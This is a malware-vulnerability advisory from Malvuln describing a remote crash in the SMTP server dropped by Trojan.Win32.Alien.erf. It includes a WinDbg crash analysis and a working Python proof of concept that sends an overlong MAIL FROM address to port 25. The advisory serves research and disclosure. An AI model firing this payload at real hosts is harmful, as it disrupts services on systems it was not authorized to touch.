Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/57ab194d8c60ee97914eda22e4d71b68.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Trojan.Win32.Alien.erf Vulnerability: Remote Denial of Service Description: The malware deploys a SMTP server JAOSrv821.exe listening on TCP port 25. Third-party attackers who can reach an infected host can trigger a denial of service by sending a corrupted MAIL FROM: address packet. Type: PE32 MD5: 57ab194d8c60ee97914eda22e4d71b68 Vuln ID: MVID-2021-0251 ASLR: False DEP: True Safe SEH: True Disclosure: 06/16/2021 Memory Dump: (a88.190): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=ffffffff edx=032f6f60 esi=00000003 edi=00000003 eip=7725ed3c esp=032f65e4 ebp=032f6774 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206 ntdll!ZwWaitForMultipleObjects+0xc: 7725ed3c c21400 ret 14h 0:005> .ecxr eax=ffffffff ebx=ffffffff ecx=ffffffff edx=032f6f60 esi=00000001 edi=032f6f60 eip=00eb2bbc esp=032f6f20 ebp=032f70d0 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 *** ERROR: Module load completed but symbols could not be loaded for JAOSrv821.exe JAOSrv821+0x2bbc: 00eb2bbc 8a06 mov al,byte ptr [esi] ds:002b:00000001=?? 0:005> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* Failed calling InternetOpenUrl, GLE=12029 FAULTING_IP: JAOSrv821+2bbc 00eb2bbc 8a06 mov al,byte ptr [esi] EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 00eb2bbc (JAOSrv821+0x00002bbc) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 00000001 Attempt to read from address 00000001 PROCESS_NAME: JAOSrv821.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000000 EXCEPTION_PARAMETER2: 00000001 READ_ADDRESS: 00000001 FOLLOWUP_IP: JAOSrv821+2bbc 00eb2bbc 8a06 mov al,byte ptr [esi] MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 FAULTING_THREAD: 00000190 BUGCHECK_STR: APPLICATION_FAULT_NULL_CLASS_PTR_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_ffffffff PRIMARY_PROBLEM_CLASS: NULL_CLASS_PTR_DEREFERENCE_FILL_PATTERN_ffffffff DEFAULT_BUCKET_ID: NULL_CLASS_PTR_DEREFERENCE_FILL_PATTERN_ffffffff LAST_CONTROL_TRANSFER: from 00eb193b to 00eb2bbc STACK_TEXT: WARNING: Stack unwind information not available. Following frames may be wrong. 032f70d0 00eb193b 7500e250 00eb1384 00eb12a0 JAOSrv821+0x2bbc 0330f8f4 745b8654 00000234 745b8630 015f4608 JAOSrv821+0x193b 0330f908 77254a77 00000234 2c193258 00000000 kernel32!BaseThreadInitThunk+0x24 0330f950 77254a47 ffffffff 77279edf 00000000 ntdll!__RtlUserThreadStart+0x2f 0330f960 00000000 00eb12a0 00000234 00000000 ntdll!_RtlUserThreadStart+0x1b SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: JAOSrv821+2bbc FOLLOWUP_NAME: MachineOwner MODULE_NAME: JAOSrv821 IMAGE_NAME: JAOSrv821.exe DEBUG_FLR_IMAGE_TIMESTAMP: 59fb4459 STACK_COMMAND: dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; ~5s; .ecxr ; kb FAILURE_BUCKET_ID: NULL_CLASS_PTR_DEREFERENCE_FILL_PATTERN_ffffffff_c0000005_JAOSrv821.exe!Unknown BUCKET_ID: APPLICATION_FAULT_NULL_CLASS_PTR_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_ffffffff_JAOSrv821+2bbc Exploit/PoC: from socket import * import time MALWARE_HOST="x.x.x.x" PORT=25 def chk_res(s): res="" while True: res += s.recv(512) if "\0" in res or "\n" in res or res == "" or "OK" in res: break return res def doit(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) PAYLOAD = "EHLO\r\n" s.send(PAYLOAD) print(chk_res(s)) time.sleep(1) PAYLOAD = "MAIL FROM:" + "A"*128+"@"+"A"*256+".hate" s.send(PAYLOAD) print("Trojan.Win32.Alien.erf / Remote DoS") print("MD5: 57ab194d8c60ee97914eda22e4d71b68") print("By Malvuln") if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. 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